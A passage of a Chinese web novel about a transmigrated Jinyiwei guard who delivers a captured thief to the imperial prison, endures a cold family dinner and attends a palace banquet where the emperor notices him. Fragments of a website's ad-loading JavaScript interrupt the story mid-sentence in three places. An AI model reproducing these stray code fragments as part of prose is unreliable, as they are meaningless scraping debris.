百姓看着他们就这么凶神恶煞的扛着个生死不知的人,手里还挟持着一个小孩儿,都噤了声。 有胆大的在后边窃窃私语。 无外乎是一些鹰犬走狗之类的话。 钱苗听了有些不服气,“哼,什么啊,我们也没干什么坏事,这些人怎么这么看我们?” 钱苗不清楚,但杨小旗心里清楚极了,他们锦衣卫在百姓的眼里就是皇室指哪儿打哪儿的恶犬,哪里有什么形象可言? 于是他伸出手敲了一下钱苗的头, “闭嘴,赶路。” 钱苗缩脖子摸了摸头,悻悻住嘴。 来到城中地面就平坦,顺直许多,裴期他们的脚程也快了不少,不一会儿就到了锦衣卫司的门口。 指挥使已经提前收到了消息,在里边儿等着。 有人走出来,看了一眼扛着人的裴期,往里边儿指了个方向,“去那里。” 钱苗看到那个人指的方向,瞬间脸色一白。 “那个,我就不去了吧,我现在困得很,想回家先就寝了。” 说罢,他也不等有人回话,脚底抹油地就溜了。 留下这队的锦衣卫在后面嘲笑他胆小。 杨小旗无奈地看着钱苗溜之大吉的背影,对裴期说:“我带你进去,要是感觉不舒服,你就跟我说。” 裴期点了点头。 随后,杨小旗将手里的小孩儿交给旁边负责的锦衣卫,就带着裴期进去入了墙边的一个小门。 这个小门所以说也算得上是个门,可高度却只到裴期的额头。 这导致他进去都要微微勾着头进去,更何况他背后还拖了个人,这让他行动更是不便。 杨小旗在旁边说,“原本这里是要把犯人弄清醒,我们在后边看着,让他们自己走进来的,可现在时间紧急,顾不得那么多了。” 裴期表示理解,继续拖着人跟着走。 越往里走就感觉越是压抑。 低矮的天花板,昏暗的走廊,看不到尽头的,一层一层向下的台阶,长长的蜿蜒的路,还有一股潮湿的青苔味。 贼人似乎是被这些台阶弄得痛醒了。 他像个破麻布袋一样被裴期拖着走,想说点什么,又不知道这究竟是什么个地方,于是只能硬是闭着眼忍着身上的痛,假装自己还没醒。 不过一会儿,拖着他的步伐就停了下来。 旁边也传来嗤笑,“也是装上晕了,怎么不见之前的威风了?” 贼人心里又恨又恼,这才睁开眼睛。 然后便只见是一个个低矮的牢房,里面的犯人连腰都直不起来,只能窝窝囊囊地坐在地上,就算坐着,他们也必须把头侧着才不至于撞到顶部。 犯人们一个个双眼无神,好像一根空洞的朽木。 再往前看,牢房外略高一点的整面墙上挂着这样那样的刑具,刑具血迹斑斑,却看上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 去寒光锋利,想来,一定是经常使用的。 他顿时大亥,惊恐地往后缩着身子,只可惜他现在全身剧痛,动弹不得。 早就得知了消息在里面等着的指挥使看到这一幕,饶有兴趣地问裴期: “他怎么了?” 这人在以往的交手中都十分嚣张,还像个泥鳅一般滑溜,眼下竟变成这样畏畏缩缩,动弹不得的模样。 顶头上司问话,裴期虽然脑子一根筋,但也明白要好好地答。 于是他仔细地将事情经过描述了一番。 态度不卑不亢,没有半分谄媚。 指挥使听完,眉心跳了跳,看了一眼裴期。 这时,另一边有一个穿着绣着团蟒的人走了进来。 这地方俗称诏狱,其实是有两个入口的,只是像裴期和杨小旗刚才进来的那个小口,一般来说是普通官职押解罪犯进来的时候走的通道。 而从另一个门走进来舒服多了,但也只有身份地位够高才能从那边进来。 料想此人肯定身份不凡。 那穿着蟒服的人走了过来,他前几步还走地稳重。 可这地方在地下又暗又潮湿,地上早已生了不少青苔。 那人穿着一双宫里样式的靴子,好看,却根本防不了这青苔,于是他双脚一滑,身体也向前倾了一点儿。 眼看马上就得扑到地上颜面无存。 离得最近的裴期伸出手去拦了一下。 “没事吧。” 裴期说。 那人扶着裴期的手才堪堪站稳,他咳嗽了一声掩饰尴尬。 “没事,多谢裴大人。” 音色相较于寻常男子有些尖细。 裴期有些许疑惑,但不是因为这个人的音色,而是这个人是怎么知道自己名字的? 旁边的指挥使见此,眼神在裴期与那穿蟒服之人身上来回扫视了一下。 那人站直身体,下巴微抬, “陛下忧虑锦衣卫不能侦破这个案子,审不出结果,咋家特地来看看。” 指挥使一笑, “劳烦王公公,锦衣卫擅长查案审讯,不劳公公费心。” 王公公闻言,微微眯起双眼,眼神中闪过一丝不悦。 "指挥使此言差矣,陛下既忧心此事,咋家自当尽一份力。" 指挥使继续说, “此事应该如何做,本官自有决断,况且今夜锦衣卫审完,线索明日便要交给太子与大理寺,经不起耽搁。” 见他把太子搬出来,王公公收敛了神色。 他来这里本就只是穿着这一身皇上刚赐下来的蟒服给这群不听话的蠢货锦衣卫上上眼药,并不是为了管这闲事。 于是,王公公挑眉,像个孔雀趾高气昂,“好,那就不打扰了。” 他声音听上去有些阴阳怪气,临走之前还特意晃了晃炫耀那团绣上的蟒。 指挥使一直和颜悦色,见王公公立刻才冷哼一声。 随后他对着站在旁边的裴期说:“今日辛苦你了,且回去休息吧。” 裴期买锦衣卫之前就读过章程。 为了保密,千户以下的锦衣卫只允许参与到案子办理的其中一个环节当中,一般来说不能参与所有的环节。 于是他点点头,说了几句来当差之前阿娘和弟弟教了好几遍的客套话,然后就转身弯了弯腰顺着来的路离开了。 他浑然不知自己离开之后,背后的两个人同时都在念叨他的名字。 指挥使在裴期离开后,又思索了一下,然后跟旁边的人说:“明日陛下的宫宴,将他带上。” 旁边的人不解:“这才是他刚来的第一天。” 指挥使脑海中浮现出那团团蟒,他笑着说:“陛下会喜欢他的。” 锦衣卫和东厂都靠陛下恩宠过活。 东厂花样百出地邀宠,锦衣卫怎么会干看着? 5. 他不舒服 裴期回到了裴府。 虽然现在已在深夜,府里却仍旧为他亮着一盏小灯。 见他回来,门口坐在台阶上打盹儿的小厮一下子清醒过来,朝里面喊: “大爷回来了!大爷回来了!” 从前这小厮管裴期叫做大少爷,后来裴期那个不怎么喜欢他的爹去世了,小厮就管他叫大爷。 从前裴期还疑惑,为什么不管他叫大公子呢? 后来他才知道,公子两个字是为了凸显主人家的文雅的,像他这种来了古代,古文不识得几个,没参加过科考,就是画画样样都不会的实在称不上文雅两个字。 小厮喊了这一嗓子赔付里边儿瞬间燃了许多灯火,府里边儿一下子变得灯火通明起来。 一个身着简单,气质却不凡的妇人走了出来,她满脸担忧的看着裴期, “哎呦,早知这么晚才下差,就不许你去当锦衣卫了,现在才回来,累不累?饿不饿?” 裴期咧嘴一笑,上辈子他是孤儿,这辈子倒是也有了父母了。 他上前去握住母亲的手:“不累,有点饿,不用担心我,您向来睡眠就浅,不该在这儿等我的。” 裴母叹了口气,“快来这儿,你阿弟给你留了一碗牛乳羹。” 裴期被牵着手,走进了屋里,他本以为自己能见到一碗可口的牛乳羹。 但一进去,他第一眼就看见了坐在桌子旁边的祖父。 裴期父亲去世之后,他的祖父大怮,竟生了一场大病,病好了之后就腿脚不便,再也难站起来了。 后来还是裴期找木匠弄了把改良版的灵活轮椅才能四处活动。 裴期心里一顿。 说实话,虽然裴期性格迟钝,但却也不影响他一直知道这个祖父并不喜欢自己。 他刚来古代那几年不知怎的,说不了话,所有的人都觉得他要不就是哑巴,要不就是傻子。 父亲觉得丢脸,一开始会在家里不停地训斥裴期,后来索性就不怎么回家了。 母亲没放弃他,心里想着要是他读书识字不行,那就让他练武,于是就求到了祖父那里。 祖父是跟着太祖皇帝南征北战得的爵位,虽说当时并不是什么重要的职位,却总是比外面的那些家伙靠谱多了。 可祖父对待他十分冷淡,那时的裴母把小裴期送到了祖父的房里,祖父可以看一天的典籍,不管裴期的吃什么、坐哪里还有干什么。 再后来,父亲不知道从哪儿得了个小孩儿,抱回来说是自己孩子,硬是要养着。 这就是裴期弟弟。 裴期弟弟天生好像就是个读书的料子,不仅启蒙快,科考也厉害,一口气硬是从童生试考到上去。 裴府的人感觉出了口气,都很看重,甚至早早的就把外面的产业全给了裴期弟弟。 从此之后,也就没人管裴期了。 直到后来,连爵位都给了这个弟弟。 裴府人终于想起来裴期一文钱没分到,日后还没有着落,这才给裴期托关系找了个锦衣卫的职位。 锦衣卫虽然月俸不高,被清流文官们所不齿,但好歹职位是可以荫给子嗣的,倒也还算不错。 此刻,祖父见裴期,脸上仍旧没什么表情,只是冷哼了一声, “不让他吃苦,只会把他教地愈发软弱,他脑子不灵光,空有一身的力气又吃得多,要是连锦衣卫也不干,难不成以后让他去外边儿当力夫给裴府丢脸么?” 裴母脚步顿了一下,接着跟没听到似的,把裴期引到桌子旁边一起坐着,仗着祖父耳背,裴母说:“你别听你祖父的,在外面当差别抢着干活,别累着自己,家里不是养不起你。” 裴期见母亲这样,心情一下子就好了,他拉着母亲的手小声答,“好,我不听,我不听。” 裴母笑了,把旁边的牛乳羹推到裴期的面前。 裴期低头拿起勺子。 只见碗里的牛乳羹细腻如雪,勺子放上去十分弹嫩,上面有一层小厨房特意熬制的桂花糖浆,甜味和乳味一下子就渗透了裴期的舌。 这时,只见外面一阵脚步声传来。 有人推门进来。 后面跟着几个小厨房的人,他们手里都端着个盘子,盘子里边儿有各式各样的菜。 一个声音传来。 “阿兄想必是一碗牛乳羹吃不饱的,听到你回来,我特意让小厨房里把留给你的菜热了端过来。” 说话的人正是裴期的弟弟裴建,三年前他刚考中了探花。 见裴建过来,裴期祖父的脸上的神色一下子就松快了许多。 “你来了干什么?不早早休息当心伤了身。” 这下倒是像一个祖父了。 裴建自己找了个凳子坐下,招呼那些小厨房的人把手里端着的菜放到桌子上。 有个年纪比较小的仆人小声嘟囔着, “这么晚了还烧火热菜,大爷少吃一顿又不会怎么样。” 裴期认出这是裴建房里的。 裴建笑着敲了一下仆人的头。 “说什么呢,不许这么说大哥。” 说着,他又扭头哄裴期,“大哥,你别将他的话放在心上,他就是在我房里待久了,口无遮拦惯了。” 从以前到现在,裴期其实早就习惯了这些议论,本来也没有将这话放在心上。 但现在裴建都这么说了,他不回也不好,于是他点点头, “我没放在心上。” 裴母先前并没有说话,见到这一幕却忽然拉着裴建的手说道, “子兼,你入仕了,房里也该换一些识得一点字的书童了,现在这个就找时间发卖了吧。” 子兼是裴建的字,是那个便宜爹想了一个月才赶在裴建的冠礼之前起的。 那仆人听了,难以置信地睁大眼睛看向裴母又看向裴建,希望裴建能为他说两句话。 可没想到裴建压根儿就不把他的去留放在心上,只是点了点头表示同意之后,又提起自己最近的一些事来。 “可惜我最近也忙,没时间照拂大哥,圣上让我参与今年科举的考卷出题,过几天我便要去出题的地方住了,科举完之后才能出来。” 裴母听了,担忧起来, “你住的那地方可舒适?可方便?这样算下去你可得有两个月住在那儿,万一那地方有什么不好的怎么办呢?” 裴建答:“圣上照拂,让我们一个人住一间房,并不与其他人混住,且里面也有些帮忙打扫做饭的太监,不会不便。” 祖父听了,也叮嘱道:“你是三年前才考取得了官身的,初来乍到便能负责这么重要的职事,足见圣上重视,你要认真对待,不可松懈。” 然后他们又七七八八地说着,无外乎是裴建多么受重视,担多么重的担子,话里话外还要说几句裴期不堪大用,以后不惹麻烦就好了。 本来是裴期当差的第一天,大家都等着裴期回来,现在却又变成了这样。 以前也是这样,现在也是这样。 裴期插不进话,也不想说什么,只是感觉刚才还饥肠辘辘的,现在却忽然没了胃口。 他沉默的将剩下的牛乳羹塞进自己的嘴 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里。小厨房送过来的菜他一样未动,就将勺子放进碗里。 勺子碰撞瓷碗发出“叮咚”的响声。 “我吃饱了。”裴期说。 椅子随着他站起的动作被拖开,与地板摩擦发出一阵刺啦的响声。 祖父面对裴建时,脸上还称得上是慈爱的神色,在看见裴期时瞬间消失不见。 “我们,你弟弟为了你等到半夜,你就非得这样任性,好让所有人不开心。” “本来你去做锦衣卫就影响你弟弟的名声,使他被同僚议论,如今竟还作出这个样子来。” 裴期抿着嘴,不知道怎么回,他想说他没有想让所有人不开心,又想说大家不必等他,可话到了嘴边,一个字也说不出来。 这是他想起方才和母亲说的,“不听祖父的话。” 好,那他就不听祖父的话。 于是他转头看向自己的母亲,说:“母亲,我先回房了,您也早点休息。” 说罢,他抬腿就要走。 裴母犹犹豫豫咬着下唇,看着裴期即将离开的背影,终于说出了口, “小期,你回来坐着罢,兄弟之间需得和睦,日后若是遇上了什么麻烦才好互相帮忙。” 说是互相帮忙,其实是什么意思只要不是真傻子都懂。 现在要和前途无量的弟弟打好关系,以后才好让弟弟提携一下裴期。 裴期有些不舒服。 比当差这一整天看到的东西都让他不舒服。 氛围一时之间尴尬了起来。 好像所有人都在等着。 等裴期服软。 但裴期不知道自己要服什么软。 幸好这时候,外面看门的那个小厮一阵小跑跑了进来。 “大爷,锦衣卫司的人刚来几个大人带话,让、让……” 锦衣卫当差分上半夜和下半夜,这几个显然是下半夜的差当完了替指挥使送句口信来。 小厮脸色不太好,显然被吓得不轻。 所有的百姓平民,乃至于一些普通的小官,听到锦衣卫的消息,无非是一些如何狡诈残暴没有人性的,而锦衣卫似乎也有意保留这个名声,日后好办事一些。 小厮就这样一次性见了好几个,被吓到也是正常。 他气还没喘顺,一下子就意识到屋内的氛围不轻松。 于是他噤了声,小心翼翼地观察着,生怕惹了谁的不快。 裴期听到了锦衣卫三个字,心想可能是工作上有什么事情交代给自己,于是就说,“你说吧,带来什么话?” 小厮得了允,说,“那几位大人说让大爷值了夜差就好好歇着,一直睡到明日下午一起去宫宴上。” “宫宴?”裴期的祖父第一个出声。 一般只有好歹是受些宠的人才有资格去的。 太祖怕子孙后代难以处理他们这些开国功臣,有意削减他们这群“元老”的地位。 于是他们这群人被刻意边缘化,已经快半辈子没听过这个词了。 裴期才第一天当差而已,能有什么建树值得让皇帝看? “你没听错?”裴期的祖父虽然不良于行,但仍旧用手把木轮椅往前推了几步,“是子兼还是裴期?” 小厮愣了,结结巴巴回答,“没听错,是,是大爷啊……” 裴建出来打圆场, “既然这样,祖父您也不要追究大哥了,让大哥去休息吧,否则,明日宫宴该要惹陛下不快了。” 裴期祖父闻言也不回话,只是瞥了一眼裴期才转过头去,差下人把自己推回房了。 6. 宫宴 次日下午,裴期醒来,没人叫他,他也不习惯睡的时候房里有人。 只是他刚起床落地,弄出了一点儿动静,外面就有人闻声而动。 不一会儿就有人端着洗漱用的水和布巾走了进来。 铜水盆的旁边放着一小节已经在盐水中泡过的杨柳枝和一个放着淡盐水的水杯。 裴期拿起来,用这个来清洁牙齿。 刚把脸也擦完,就有人用木质的托盘端了一套折得规规矩矩的衣服进来。 仔细一看,这衣服整体是古朴的暗红色,飞鱼服的样式,上面还有一些金线绣的花纹。 这时,裴母跟了进来,说:“这是你父亲十几岁的时候,陛下赏下来的衣服,你第一次去面圣,不可失了体面。” 是的,在这个朝代,服制是可以继承的。 虽然裴期的身份品级还没有到穿这个的时候,可他的父亲有,他也能继承下来。 裴母把这飞鱼服拿起又展开,抖落了一下,往裴期身上比着, “你父亲当年和你身形相似,应该是合适的,你换上看看吧。” 衣服旁边的托盘上,还有黑色一双牛皮小靴。 裴期没有推辞,拿起了衣服和靴子到屏风的另一边,有个下人跟着他进了帘子的后面想帮他系腰带。 裴期说不用,自己把衣服给换上了。 裴母在屏风外左看看,右看看,犹豫了一下,终于还是走上前,她叹了口气,靠在屏风的外面说, “我知道你不喜欢你祖父,你弟弟那么说,可万一你日后需要人帮呢?乖些,乖些。” 裴期心里闷闷的,但又不想让母亲难办,于是他停顿了一会儿,然后说:“我知道了。” 随后他穿好了衣服,从屏风的后面走了出来。 裴母听到他的允诺,这才喜笑颜开地看着裴期,裴期穿着一身暗红的绣金飞鱼服站在她面前,她上下扫视了一眼,一时间愣了。 毫无疑问的,裴期是极适合穿这件衣服的,他肩宽腿长,腰间没有一点儿赘肉,衣服颜色合缝地贴在他的身上,被腰带一束便显得更加细。 额间方巾抹额上镶着一些珠宝,让裴期有些高的眉弓显得没那么显眼,愈发地像他的那个父亲。 裴母看了一会儿才回过神来,笑着说 “是合身的,吾儿俊逸。” 裴期听到,也跟着笑了。 接着裴母又说:“吃点儿再走吧,你昨晚都没吃多少,莫要在宫宴上饿了。” 宫宴,宫宴,说是宴会,皇上请人吃东西,但真正去宫宴的都是去刷一下脸,没几个是真去吃东西的。 谁会让皇上看到自己在宴会上狼吞虎咽,饿死鬼投胎一般的样子呢? 裴期点点头,跟着裴母走出去,准备吃点东西再去宫里。 可他还没走几步,昨晚那个跑来传信的小厮又出现了。 “大爷,大爷,您的同僚们过来接你了!” 原来是这些人从锦衣卫司启程去宫里,想着捎带着把裴期也带上,于是就捎带着让车夫马车赶到了这儿。 裴母看了一眼裴期,又看了一眼门口,她终于说:“小期,你才当差不久,不要怠慢同僚上级,你带着那些糕点走,路上吃,给来接你们的同僚们也分点。” 经常跟着裴母的丫鬟小春是个极有眼色的。 听到裴母这么说,她立马跑进小厨房把早已准备好的糕点拿了出来。 这盘糕点是在上京最有名的糕点铺点香铺买的,听说入口细腻,清香软糯,如今千金都难求。 只因为点香铺的那块地是裴府的,所以裴府的人每日去买总能够留点儿。 裴期接过那些已经被打包好的糕点。 “好的母亲,我记住了。” 他说。 裴期转身向门口走去,两个眼熟的人正在门口等着。 仔细一看, 是杨小旗和钱苗。 钱苗一见裴期便打开话匣子止不住地说话: “你穿这身衣服好看,终于出来了,我以为你在干嘛呢?” “托你的福,今天不用当差了,还能去宫里逛逛。” “自从上次我爹去江南找了个有什么祥瑞的石头进贡给皇帝之后,就再也没有进宫里第二次了,不知道宫里的菜和外面的菜有什么区别?” 一边说着钱苗一边把帘子打开,示意裴期登上马车。 杨小旗往裴府内看了一眼,又用手肘怼了一下钱苗。 “闭嘴,上马车再说话。” 钱苗虽然不是独生子,可好歹也是在富商的家里千娇百宠长大的,察觉不出这古怪的氛围。 杨小旗军队出身,之前在军队里从最底层的小卒,得到了军功才进的锦衣卫。 只要看一眼他就知道裴期铁定和裴府人关系不好。 更何况还有外面的那么些传言作为佐证。 拜裴期父亲所赐,那些勋爵子弟,权贵里聊起天来,现在还少不了觉得裴期是个眼歪嘴斜,涎水直流的那种傻子。 钱苗倒也没有生气。 不过与其说是没有生气,不如说他压根儿不把这种事情放在心上。 裴期和他们一起上了马车。 当下的马车一般是只可以做一个人或两个人的。 这辆马车显然是比较豪华的规格,打眼望去足可以坐6个人,如今只做他们三个,有点浪费。 裴期倒心里牵挂着事情,想知道。 他抿了抿唇,问杨小旗,“小旗,昨夜的那个小孩找到家人了吗?送回家了吗?那些被拐走的女人和小孩找到了吗?” 杨小旗听见他第一句话居然是问这个,忍不住笑了一下说:“你放心,那小孩儿身份不凡,在我们找之前,他的家人就已经找上门来了,至于那些被拐走的女人和小孩,今日太子得知消息之后立即调了守军,锦衣卫大理寺和守军一齐找人,没有耽误半点。” “是啊!”钱苗说,“对了,你知道为什么你抓到的那个贼人生怕你把他拆骨剥皮吃了吗?” 钱苗表情神神秘秘的,他凑到裴期的面前,“你听我说,是因为……” “啧。”杨小旗伸出了手一把就把钱苗从裴期的面前拉走了。 “马上就要去宫宴了,你还在这里说这些,有什么事情等明日再说,不可御前失仪,你不把自己的脑袋放在心上,也别害别人。” 钱苗被拉走,心里是有些不服气的,但是又觉得杨小旗说的有道理,于是他靠到马车的一角,双手交叉抱在胸前“哼”了一声。 “大不了我明天再同裴期说。” 接 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着他又朝裴期挑了挑下巴, “裴期,明天之前你可不许朝别人打听,我还等着跟你说呢。” 裴期点点头,说好。 他是一向不会去思考别人说话背后有什么深意,城府,内涵之类的东西。 既然杨小旗都说了在宫宴之前听这个不好,那他不听了就行。 被拐的人都救了出来,至于贼人的身上发生了什么?明天听也行。 钱苗少了个话头,又问:“你身上的这身衣服是哪儿来的?看形制是飞鱼服吧,我也想穿,可惜我既没有父辈荫下来,也没有陛下赐。” 说着,他上手摸了摸裴期袖子上绣着的金色花纹。 裴期在马车上也坐得挺直。 他回:“这是我父亲和我差不多大时陛下赐下来的。” “我就知道。”钱苗说,“改天我也要让家里的绣娘按照你这样的给我做一件,自己私下里穿穿也好,过过瘾。” 杨小旗眼皮子一掀, “看你那腰间的肉,能和裴期比吗?到时候腰带一捆,不知道的以为你随身带了什么违禁物要贴身藏着呢。” “哼,你就这么说吧,告诉你,我多喝几杯清茶刮刮油,下个月也和裴期一样了。” 杨小旗本来也只是打趣开玩笑,此刻听到这话也是笑了。 马车往前赶着,不一会儿就到了皇宫外面。 指挥使他们比裴期先到就先进去了,顺便给看守宫门的人交代了个话。 因此裴期他们几个也没怎么被盘问检查,只是给侍卫看了看腰牌,收了腰间的绣春刀就被放了进去。 有人给他们带路,他们跟着那人沿着暗红的宫墙走。 在这期间,裴期倒是遇到了一个意想不到的人。 裴期他们几个人少,又脚程快,不一会儿就跟上了前面那浩浩荡荡的队伍。 能在皇宫内有这样多的人跟着,定然身份不会一般。 果不其然,仔细一看,太子李稷正在队伍的最前边儿。 “参见殿下。” 裴期慢半拍,跟着杨小旗和钱苗行礼。 他没学过这些,只能跟着旁边的人做。 离得近,又是光线充足的白天,裴期更加能够感受到太子的身材高大。 只是,似乎,隐约还有股……香味? 裴期此刻在自以为隐蔽地观察着太子的衣服,想知道今天太子穿的衣服是不是也是从那天一样的神奇材质。 改天需得找绣坊做一件一样的,这样无论是下雨还是抄家都方便。 “之前孤和几位都见过面,不必生疏。”李稷说。 杨小旗和钱苗依旧神色恭敬,并没有真的上去搭话。 太子说是这样说的,可谁都知道大人物都喜欢这样寒暄两句,彰显对属下仁德。 没人当真。 那天张大人四处滚动的头颅,他们还记得。 李稷注意到了裴期的目光,他神色没变, “正巧遇见诸位,不若随孤一同前往。” 钱苗和杨小旗不着痕迹地对视一眼。 不知道太子今日吃错了什么药。 但既然都这么说了,也没人拒绝。 他们回了几声好、荣幸之类的话,加入太子的队伍里,朝宫宴的方向去。 7. 逗弄 宫宴其实也并不是皇帝想什么时候开,就召所有人一起吃顿饭。 往往都有个由头、添头。 然后顺带把受宠的臣子们叫过来,在这宴上坐着,用来彰显皇帝待你和其他人不同。 在皇帝面前刷了一遍脸,以后你就是皇帝罩的了。 这次的由头就是宫里新出生的小皇子的满月宴。 裴期他们到了之后,三人就和太子分开,和指挥使几个坐在了一起。 皇帝坐的地方比他们这些臣子高上不少,因此裴期一眼看去,只看见了那一层隔开皇亲国戚们与普通臣子的纱。 阳光照下来,纱随风摆动,有粼粼的光出现。 而杨小旗一落座便眉头皱了起来,他跟裴期一样是临时知会来这里,到这里才知道是什么小皇子的满月宴,压根儿就没时间准备什么生辰礼。 “指挥使,我们……” 还没把话说完,指挥使就好像知道他要问什么一样, “你们不必忧心献礼什么的,且坐着就好。” 指挥使旁边的人笑出声, “还以为你们在担心什么,放心吧,就算你们肯送,贵妃娘娘也不会肯收的。” 一向话多的钱苗到了这个场合,一句话都没说,安静地像个小鸡崽子一样,在座位上动也不敢动,只是看着面前的那副碗筷。 像皇室中成员的生辰里,一般皇亲国戚或者是位高权重的人才有资格去送礼物刷脸。 像裴期这种小喽啰似的人物,就算是想,也找不到门路送。 指挥使眯着眼睛看了一眼皇帝那边又看了一眼裴期坐着的位置。 沉吟片刻,他便让裴期与其中一个锦衣卫调换了位置,好让裴期刚好坐在皇帝的正对面的方向。 裴期有些疑惑,但还是听话换了位置。 坐定后,裴期只见皇帝那边好像说了句什么,等候在那儿的伶人便随着阵阵丝竹声动了起来。 虽然隔得远又有一层纱隔着,可这并不妨碍裴期欣赏伶人的表演。 他们穿着颜色不同的衣服,有的衣服上有水袖,有的裙摆异常宽大。 随着琴声,笛声,鼓声的变化,他们一会儿聚成海-棠花瓣,一会儿散成秋菊-花蕊。 裴期忽然就想起上辈子的时候学到的那句——“子在齐闻韶,三月不知肉味”。 古代娱乐方式少,大部分人都为了自己的温饱劳作,看到这样的表演,或许真能挂念三个月。 这时,旁边忽然有一群穿着深蓝色衣服的太监出现,他们排成一个小队,每个人手里都托着一盘菜肴,一个一个地给桌子上放。 无论是每道菜摆放的位置还是上的顺序似乎都有讲究。 裴期用余光扫了一眼四周,发现每桌菜都一模一样。 桌子中间上一只全羊,被烤成了焦褐四的样子,周围则是一些炖品,卤制品,还有时令蔬菜。 裴期回忆了一下,好像自己在现代都没有见过如此丰盛的席面。 一般来说,如果是比较严肃的场合或者是坐得离皇帝比较近的,便会有太监为每个人按照身份的高低来进行布菜。 但裴期坐得比较远,所以此时氛围也比较随意。 见旁边动了起来,裴期这桌的人也拿起了筷子。 裴期本来就吃得多还容易饿,昨日便已经饿了,吃饭中途还被不悦的事情打断,现在的他更是饥肠辘辘。 看到周围的人都动了筷,他才端起了碗。 烤羊肉还热乎,外皮被烤成酥脆的金黄色,放进嘴里,油脂就渗了出来,本朝调料虽然不像现代的那么万事俱备,可也算丰富,裴期一点儿都没吃出膻味来。 再看去,只见这羊的中间竟然还塞了一只塞满糯米的烤鸭,见大家吃的差不多一个快件上来把羊切开来,顿时塞满糯米的烤鸭,顺着汁水一起出来。 紧接着还有牡蛎,炖牛肉,鲫鱼汤,莲子羹…… 裴期的吃相极好,姿态端正,每次伸出去的筷子既不会挡住别人,也不会在菜肴之间徘徊。 每个动作都恰到好处,不急不徐,把菜肴送入口中后唇上竟然也不沾丝毫的油渍。 他们与皇帝隔得远,因此没人发现有一道目光落在了这里。 “那是谁?” 皇帝今日设宴,那些祝福的话听得耳朵都要起茧,因此正在百无聊赖的扫视着四周。 正正好就看到了正对着他的位置坐的裴期。 他不知道裴期是谁,却知道他身上的衣服,多年之前宫中换了一种新的、番邦进贡上来的料子,已经多年没有赐下过这个颜色的飞鱼服了。 当时皇帝也有一件这样的,是江南的绸,这绸刚穿在身上的时候还好,红色鲜艳,衬得人意气风发。 可只要多沾几次水,那红色立马就变成了暗红。再怎么着小心,再怎么补救都无济于事。 臣子们穿着不便,这才换了一种。 旁边等候的王公公听到皇上问话便顺着皇帝的目光望去,他的视力比皇帝稍微好些,看到裴期出现的一瞬间,他微不可察地咬了咬牙。 该死的彭煜,这种事情也做的出来?! 这小子才进锦衣卫多久啊,就这么迫不及待的带过来给锦衣卫邀宠?? 不就是仗着这小子长得和皇帝儿时玩伴裴侯一模一样吗?! 还特意穿着和裴侯当年被陛下亲自赐下的那件衣服。 真是好深的心机! 前段时间为了讨陛下欢心弄了个有“祥瑞”的锦衣卫,这段时间又弄出来个和陛下儿时玩伴长得一模一样的锦衣卫。 狐媚惑上!脸都不要了! 但实际上,王公公冤枉彭指挥使了。 彭指挥使只知道裴期长得像,可以带出来认认脸,哪里知道人都死了,裴期家里却完完整整地保存好了当年的那件衣服呢? 巧合,完全是巧合。 “回陛下。”虽然他心里咬牙切齿的,可面上却是一团谄媚, “是裴侯家里的大公子裴期。” 皇帝这才终于在心里有了点儿印象。 他与裴侯在极小的时候有交情。 后来先帝为了削弱那些开国重臣的权利,有意冷落那些人,于是他跟着也不怎么与功臣的儿子们一起玩了。 皇帝微微眯起眼睛,目光依旧停留在裴期身上。 熟悉的颜色,熟悉的面容,让他的思绪回到了以前。 那时先帝还没去世,他也没长大,更没有后来的那些豺狼虎豹似的弟弟妹妹们。 “他在吃什么?”皇帝饶有兴趣的问,他年纪大了,鬓角斑白,视力也不如以往好,于是只好询问了旁边的公公。
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裴期皱起了眉。 衣服被弄脏,对于他来说本来就不是什么大事,他也没有什么想法去惩罚这个不小心惹祸的小太监。 于是他说:“只是一些污渍,不麻烦,无需怎么处置他。” 话语落下,小太监不停抖动的身体缓和了一些,他好像找到了一根救命稻草一般看着裴期。 他满脸感激,眼中蓄着泪水,仿佛如果不是这种场合,下一秒就要抱住裴期的腿道谢。 但周围的气氛非但没有变得轻松,反而更加紧绷。 王公公的神色浮现出一点难色。 如果裴期方才想出了一个怎么合理处置这奴才的办法,那他倒也不必说下面的这话。 他向来处事圆滑,是不愿意得罪任何一个人的。 “裴大人既放了别人一马,那自己得领罚才行,太祖曾有言,御赐之物,不可污秽。” 小太监听到这句话,脸上浮现出绝望的神色,瘫坐在地上。 他本就命如草芥,这么尊贵的大人怎么会甘愿受罚,来护着他这个素不相识,还本就卑微的奴才呢? 看来今天他还是逃不过被杀头的命运,只盼望那些人下手时能快些,干脆利落些。 王公公眯着眼看着裴期,想知道对方会怎么做。 一般人暗示到这一步也就明白皇上是什么意思了,都会象征性的给出一个惩罚这奴才的办法,好不惹皇上生气。 可裴期的脑回路好像格外不同些。 他不说话思索了良久之后忽然站了起来,用右手扯住另一边被弄脏的衣袖。 只听见“撕拉”一声,衣袖处被弄的那部分被他整整齐齐地扯了下来。 这下子,御赐的衣服穿在他的身上,可谓是干干净净,没有一点儿污渍了。 王公公看傻了眼一时间愣在原地,半晌说不出话来。 他,他从未见过如此大胆的人。 这可是是御赐的东西,怎么能直接这样毁坏呢? 可转念一想,无论是太祖还是现在的皇帝都没有说过这东西到底能不能这样。 或者说当时根本没有想过会有裴期这样的人。 王公公还来不及回过神来,就只见黄金那边又过来一个太监。 太监又是在王公公的耳边耳语了几句,王公公的神色听着,又看了一眼裴期。 随后他脸上浮现出一丝不自然的笑容来,他微微弯了弯腰跟裴期说:“裴大人,陛下有请。” 裴期不知道皇帝为什么召见自己,但在他的认知中,锦衣卫上下都是为皇帝一个人服务的,皇帝类似于他的最大的老板。 于是他起了身,“劳烦公公带路。” 王公公见他这样干脆,也没说别的,只是转身朝皇帝的方向走去,裴期跟在他的后面,穿过这一周又一周的大臣们。 之前裴期坐在离他们远的地方,他们还没有发觉,直到离得近了,他们才看到了裴期。 和那张脸。 众人的目光纷纷在他的脸上停留,还有他那被扯去一半的衣服。 他们有些讶然,不仅为了裴期举动,还有他那一张与他的父亲长得十分相似的脸。 更有…… 裴府的大公子不是说是个愚蠢不堪,大字不识一个的蠢货吗? 那现在这个穿一身红色飞鱼服,身姿如兰,龙行虎步的小郎君是谁? 莫非裴家还有第三个儿子? 